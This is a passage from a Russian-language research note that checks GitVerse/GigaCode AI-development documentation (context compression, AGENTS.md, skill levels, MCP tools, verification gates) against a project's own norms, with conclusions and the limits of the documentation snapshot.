\u0425\u0430\u0431\u0430.** \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u00ab\u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439 \u0433\u0435\u0439\u0442 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e\\n\u043f\u0440\u0438 \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u0441\u0441\u044b\u043b\u043a\u0430\u0445 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u00bb \u0438 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u00ab\u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442\\n\u043f\u0440\u0435\u0434\u044a\u044f\u0432\u043b\u044f\u0435\u0442 \u0432\u044b\u0432\u043e\u0434 \u043a\u043e\u043c\u0430\u043d\u0434\u044b\u00bb \u2014 \u043d\u0435 \u0438\u0437\u043e\u0431\u0440\u0435\u0442\u0435\u043d\u0438\u0435 \u0425\u0430\u0431\u0430, \u0430 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0435 \u0441 \u043d\u043e\u0440\u043c\u043e\u0439 \u0441\u0440\u0435\u0434\u044b.\\n\u042d\u0442\u043e \u0441\u043d\u0438\u0436\u0430\u0435\u0442 \u0440\u0438\u0441\u043a \u0434\u0435\u043b\u044c\u0442\u044b: \u043f\u0440\u0430\u0432\u0438\u043b\u043e, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0441\u0440\u0435\u0434\u0430 \u0443\u0436\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442, \u043d\u0435 \u043f\u0440\u0438\u0434\u0451\u0442\u0441\u044f\\n\u043d\u0430\u0432\u044f\u0437\u044b\u0432\u0430\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044e \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e.\\n\\n## GC-16\u2026GC-18. \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043d\u043e\u0440\u043c\u0430 \u0436\u0438\u0432\u0451\u0442 \u0432 \u0444\u0430\u0439\u043b\u0430\u0445\\n\\n\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 [\u00ab\u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u00bb](https://gitverse.ru/docs/ai/ai-development/context):\\n\\n> \u041a\u043e\u0433\u0434\u0430 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0431\u043b\u0438\u0437\u043e\u043a \u043a \u043f\u0440\u0435\u0434\u0435\u043b\u0443, \u0434\u0438\u0430\u043b\u043e\u0433 \u0441\u0436\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 <\u2026> \u043f\u043e\u0441\u043b\u0435\\n> \u0441\u0436\u0430\u0442\u0438\u044f \u0430\u0433\u0435\u043d\u0442 \u043f\u043e\u043c\u043d\u0438\u0442 \u0432\u044b\u0432\u043e\u0434\u044b, \u043d\u043e \u043d\u0435 \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u0443\u044e \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0443. \u0414\u043e\u0433\u043e\u0432\u043e\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c,\\n> \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u0430\u044f \u043e\u0434\u0438\u043d \u0440\u0430\u0437 \u0438 \u043c\u0438\u043c\u043e\u0445\u043e\u0434\u043e\u043c, \u043c\u043e\u0436\u0435\u0442 \u043d\u0435 \u043f\u0435\u0440\u0435\u0436\u0438\u0442\u044c \u0441\u0436\u0430\u0442\u0438\u0435. \u0415\u0441\u043b\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u0435\\n> \u0432\u0430\u0436\u043d\u043e \u2014 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0439\u0442\u0435 \u0435\u0433\u043e \u0432 \u0444\u0430\u0439\u043b\u0435.\\n\\n\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 [\u00ab\u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u00bb](https://gitverse.ru/docs/ai/ai-development/repository-setup)\\n\u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e `AGENTS.md` \u0432 \u043a\u043e\u0440\u043d\u0435 \u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u0440\u0438 \u043a\u0430\u0436\u0434\u043e\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0435\\n\u0430\u0433\u0435\u043d\u0442\u0430 \u0438 \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0446\u0435\u043b\u0438\u043a\u043e\u043c, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432 \u043d\u0451\u043c \u0434\u043e\u043b\u0436\u043d\u043e \u043e\u0441\u0442\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e\\n\u0442\u043e, \u043e \u0447\u0451\u043c \u0430\u0433\u0435\u043d\u0442 \u043e\u0448\u0438\u0431\u0451\u0442\u0441\u044f \u0431\u0435\u0437 \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0438.\\n\\n**\u0421\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u0434\u043b\u044f \u043d\u043e\u0440\u043c\u044b \u0425\u0430\u0431\u0430.** \u0421\u0442\u0443\u043f\u0435\u043d\u0447\u0430\u0442\u0430\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 (`GC-6`) \u2014 \u043d\u0435 \u0443\u0434\u043e\u0431\u0441\u0442\u0432\u043e, \u0430\\n\u0431\u044e\u0434\u0436\u0435\u0442: \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0441\u0442\u043e\u044f\u0442 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u0435, \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u043d\u0430\u0432\u044b\u043a\u0430\\n\u2014 \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u043e\u0433\u0434\u0430 \u043d\u0430\u0432\u044b\u043a \u043f\u043e\u0434\u043e\u0448\u0451\u043b. \u042d\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u043e\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0443\u0440\u043e\u0432\u043d\u0435\u0439:\\n`L0`\u2013`L2` \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c, \u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u043c \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043d\u0430\u0432\u044b\u043a `L3` \u2014\\n\u0435\u0434\u0438\u043d\u0438\u0446\u0430, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0441\u0440\u0435\u0434\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u043f\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044e \u0438 \u0432\u044b\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u0437\u0430\u0434\u0430\u0447\u0435\u0439.\\n\\n## GC-19\u2026GC-24. \u0417\u0430\u0434\u0430\u0447\u0430, \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u0438 \u0441\u043b\u0435\u0434 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\\n\\n\u041e\u0431\u0437\u043e\u0440\u043d\u0430\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430\\n[\u00abAI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u043d\u0430 GitVerse\u00bb](https://gitverse.ru/docs/ai/ai-development)\\n\u043e\u0447\u0435\u0440\u0447\u0438\u0432\u0430\u0435\u0442 \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043c\u043e\u0441\u0442\u0438:\\n\\n> \u0425\u043e\u0440\u043e\u0448\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0442\u0430\u043c, \u0433\u0434\u0435 \u0437\u0430\u0434\u0430\u0447\u0443 \u043c\u043e\u0436\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u0442\u044c \u0441\u043b\u043e\u0432\u0430\u043c\u0438, \u0430 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u2014\\n> \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u043d\u043e.\\n\\n\u0438 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043d\u0435\u0443\u0434\u0430\u0447:\\n\\n> \u0412\u0441\u0435, \u0447\u0435\u0433\u043e \u043e\u043d \u043d\u0435 \u0437\u043d\u0430\u0435\u0442 \u0438 \u043e \u0447\u0435\u043c \u043d\u0435 \u0441\u043f\u0440\u043e\u0441\u0438\u043b, \u043e\u043d \u0434\u043e\u0434\u0443\u043c\u0430\u0435\u0442 \u2014 \u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442 \u0440\u0430\u0431\u043e\u0442\u0443\\n> \u0442\u0430\u043a, \u0431\u0443\u0434\u0442\u043e \u044d\u0442\u043e \u0444\u0430\u043a\u0442.\\n\\n\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 [\u00abGigaCode \u043d\u0430 GitVerse\u00bb](https://gitverse.ru/docs/ai/gigacode-on-gitverse)\\n\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 GigaCode-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 \u043a\u0430\u043a \u00abAI-\u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u0437\u0430\u0434\u0430\u0447\u00bb, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u00ab\u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\\n\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u0443\u044e \u0437\u0430\u0434\u0430\u0447\u0443 \u0438\u043b\u0438 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u0435 \u0438 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0441\u043b\u0438\u044f\u043d\u0438\u0435\u00bb. \u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430\\n[GitVerse MCP tools](https://gitverse.ru/docs/ai/mcp/gitverse-mcp-tools)\\n\u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u044f\u0435\u0442 42 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430, \u0441\u0440\u0435\u0434\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 `issue_read`, `issue_write`,\\n`add_issue_comment`, `list_pull_request_files`, `get_job_logs`,\\n`get_job_failure_context`.\\n\\n**\u0421\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u0434\u043b\u044f \u043d\u043e\u0440\u043c\u044b \u0425\u0430\u0431\u0430.** \u041d\u043e\u0441\u0438\u0442\u0435\u043b\u044c \u0441\u043b\u0435\u0434\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 (`A-TRACE`) \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432\\n\u0441\u0440\u0435\u0434\u0435: \u0437\u0430\u0434\u0430\u0447\u0430, \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u043a \u043d\u0435\u0439 \u0438 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0441\u043b\u0438\u044f\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0430\u0433\u0435\u043d\u0442\u0443 \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435\\n\u0438 \u0437\u0430\u043f\u0438\u0441\u044c \u0447\u0435\u0440\u0435\u0437 MCP, \u0430 \u043b\u043e\u0433\u0438 CI-\u0437\u0430\u0434\u0430\u0447\u0438 \u2014 \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u00ab\u0432\u044b\u0445\u043e\u0434\\n\u043a\u043b\u0430\u0434\u0451\u0442\u0441\u044f \u0432 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442, \u0430 \u043d\u0435 \u0432 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0443\u00bb \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0430 `GC-17` \u0438 \u043f\u043e\u0434\u043a\u0440\u0435\u043f\u043b\u044f\u0435\u0442\u0441\u044f\\n`GC-21`: \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0432 \u0441\u0440\u0435\u0434\u0435 \u0438 \u0442\u0430\u043a \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0443\u0435\u0442\u0441\u044f \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u043d\u0430 \u0441\u043b\u0438\u044f\u043d\u0438\u0435.\\n\\n## \u0427\u0442\u043e \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u0441\u043b\u0435\u0434\u0443\u0435\u0442\\n\\n1. \u0424\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430 \u00ab\u0444\u043e\u0440\u043c\u0430 `SKILL.md` \u0432\u044b\u0432\u0435\u0434\u0435\u043d\u0430 \u043f\u043e \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0438, \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f GigaCode\\n   \u043d\u0435 \u0434\u0435\u0442\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u0430\u00bb \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u0430 \u0438 \u043f\u043e\u0434\u043b\u0435\u0436\u0438\u0442 \u0437\u0430\u043c\u0435\u043d\u0435 \u043d\u0430 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 `GC-1`\u2013`GC-6`\\n   \u0441 \u044f\u0432\u043d\u043e \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0434\u0435\u043b\u044c\u0442\u043e\u0439 \u0425\u0430\u0431\u0430.\\n2. \u041e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 \u0432\u043e\u043f\u0440\u043e\u0441 \u043e \u043c\u0435\u0445\u0430\u043d\u0438\u043a\u0435 \u0433\u0435\u0439\u0442\u043e\u0432 \u0437\u0430\u043a\u0440\u044b\u0442 **\u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e**: \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442\\n   \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 (`GC-11`); \u043c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430 \u0432\\n   \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043d\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0430 \u0438 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u0439.\\n3. \u041f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439: \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0435 \u0434\u043e\u043b\u0436\u043d\u0430\\n   \u043e\u043f\u0438\u0440\u0430\u0442\u044c\u0441\u044f \u043d\u0430 `curl` \u0438 `wget` (`GC-12`).\\n4. \u0423\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0438\u043c\u0435\u043d\u0438 \u043d\u0430\u0432\u044b\u043a\u0430 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u0443\u0441\u043b\u043e\u0432\u0438\u0435\u043c \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438\\n   \u0443\u0440\u043e\u0432\u043d\u044f `L3` (`GC-4`), \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c \u0434\u043e \u0432\u044b\u043a\u043b\u0430\u0434\u043a\u0438.\\n5. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u00ab\u043d\u0430\u0432\u044b\u043a \u043e\u0431\u044f\u0437\u0430\u043d \u0431\u044b\u0442\u044c \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c\u00bb \u043e\u043f\u043e\u0440\u044b \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442\\n   (`GC-25`\u2013`GC-28`) \u0438 \u0437\u0430\u043c\u0435\u043d\u0435\u043d\u043e \u0433\u0440\u0430\u043d\u0438\u0446\u0430\u043c\u0438 \u0444\u043e\u0440\u043c\u044b `SF-3`, `SF-4`.\\n\\n### \u041f\u0440\u0435\u0434\u0435\u043b \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430: \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430, \u0430 \u043d\u0435 \u0444\u0430\u043a\u0442 \u0441\u043d\u0438\u043c\u043a\u0430\\n\\n\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0441\u0440\u0435\u0434\u044b \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0441\u0436\u0430\u0442\u0438\u0435 \u0434\u0438\u0430\u043b\u043e\u0433\u0430 \u043f\u0440\u0438 \u043f\u0440\u0438\u0431\u043b\u0438\u0436\u0435\u043d\u0438\u0438 \u043a \u043f\u0440\u0435\u0434\u0435\u043b\u0443 (`GC-16`,\\n`GC-17`), \u043d\u043e **\u0447\u0438\u0441\u043b\u0430 \u043d\u0435 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442**. \u0412\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u0432\\n[\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438 \u043a PR #572](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/572)\\n\u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u044b\u0439 \u043f\u0440\u0435\u0434\u0435\u043b: **1 000 000 \u0442\u043e\u043a\u0435\u043d\u043e\u0432**, \u043f\u043e \u0434\u043e\u0441\u0442\u0438\u0436\u0435\u043d\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e\\n\u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0435 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442\u0441\u044f, \u0430 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u043e\u0432\u044b\u0439 \u0447\u0430\u0442.\\n\\n\u042d\u0442\u043e \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0438\u043d\u043e\u0433\u043e \u043a\u043b\u0430\u0441\u0441\u0430: \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430, \u0430 \u043d\u0435 \u0446\u0438\u0442\u0430\u0442\u0430\\n\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430 `GC-*` \u043e\u043d\u043e \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0438 \u0432 \u0441\u0447\u0451\u0442\\n\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043e\u043a \u0441\u043d\u0438\u043c\u043a\u0430 \u043d\u0435 \u0432\u0445\u043e\u0434\u0438\u0442. \u0412 \u043d\u043e\u0440\u043c\u0443 \u043e\u043d\u043e \u0432\u043d\u0435\u0441\u0435\u043d\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c `SK-6`\\n\u043a\u0430\u043a **\u0436\u0451\u0441\u0442\u043a\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430** \u043e\u0431\u044a\u0451\u043c\u0430 \u043d\u0430\u0432\u044b\u043a\u0430. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0437\u0430\u043c\u0435\u0440\u043e\u043c \u2014 \u0437\u0430\u0434\u0430\u0447\u0430 `B-162`;\\n\u0434\u043e \u043d\u0435\u0451 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u0435, \u0447\u0442\u043e \u0437\u0434\u0435\u0441\u044c \u0438 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043e.\\n\\n## \u0413\u0440\u0430\u043d\u0438\u0446\u044b \u0441\u043d\u0438\u043c\u043a\u0430\\n\\n- \u042d\u0442\u043e **\u0441\u043d\u0438\u043c\u043e\u043a \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438**, \u0430 \u043d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434\u044b: \u0444\u0430\u043a\u0442\u044b\\n  \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442, \u0447\u0442\u043e \u0441\u0440\u0435\u0434\u0430 \u0442\u0430\u043a **\u043e\u043f\u0438\u0441\u0430\u043d\u0430**, \u0430 \u043d\u0435 \u0447\u0442\u043e \u043e\u043d\u0430 \u0442\u0430\u043a \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\\n  \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435\u043c \u2014 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u043c \u043f\u0440\u043e\u0433\u043e\u043d\u0435.\\n- \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043d\u0435 \u0432\u0435\u0440\u0441\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043f\u043e \u043d\u043e\u043c\u0435\u0440\u0443: \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u044f\u043a\u043e\u0440\u044c\\n  \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u2014 \u0434\u0430\u0442\u0430 \u0441\u043d\u0438\u043c\u043a\u0430 \u0438 `sha256` HTML \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0432\\n  [`gigacode-docs.json`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-process-taxonomy-571/gigacode-docs.json).\\n  \u0420\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 `sha256` \u043f\u0440\u0438 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0438 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\u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u0435\u043a\u0441\u0442\u0430 \u0438\u0437 HTML \u043e\u0433\u0440\u0443\u0431\u043b\u0451\u043d\u043d\u043e\u0435: \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u044e\u0442\u0441\u044f \u0430\u0431\u0437\u0430\u0446\u044b \u0438 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438,\\n  \u0442\u0430\u0431\u043b\u0438\u0446\u044b \u0442\u0435\u0440\u044f\u044e\u0442 \u0440\u0430\u0437\u043c\u0435\u0442\u043a\u0443. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 \u043f\u043e\u0434\u043e\u0431\u0440\u0430\u043d\u044b \u0442\u0430\u043a,\\n  \u0447\u0442\u043e\u0431\u044b \u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u0435\u0442\u044c \u043e\u0442 \u0440\u0430\u0437\u043c\u0435\u0442\u043a\u0438 \u0442\u0430\u0431\u043b\u0438\u0446.\\n- \u041a\u043e\u043f\u0438\u044f \u0447\u0443\u0436\u043e\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0432 \u0425\u0430\u0431\u0435 \u043d\u0435 \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f: \u0446\u0438\u0442\u0430\u0442\u044b \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u044b \u043e\u0431\u044a\u0451\u043c\u043e\u043c,\\n  \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u043c \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f, \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435.\\n- \u0421\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u00ab\u0421\u0435\u0441\u0441\u0438\u0438\u00bb \u0438 \u00abAI workflow-\u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438\u00bb \u0432 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 issue #571\\n  \u043d\u0435 \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u044b \u0438 \u0432 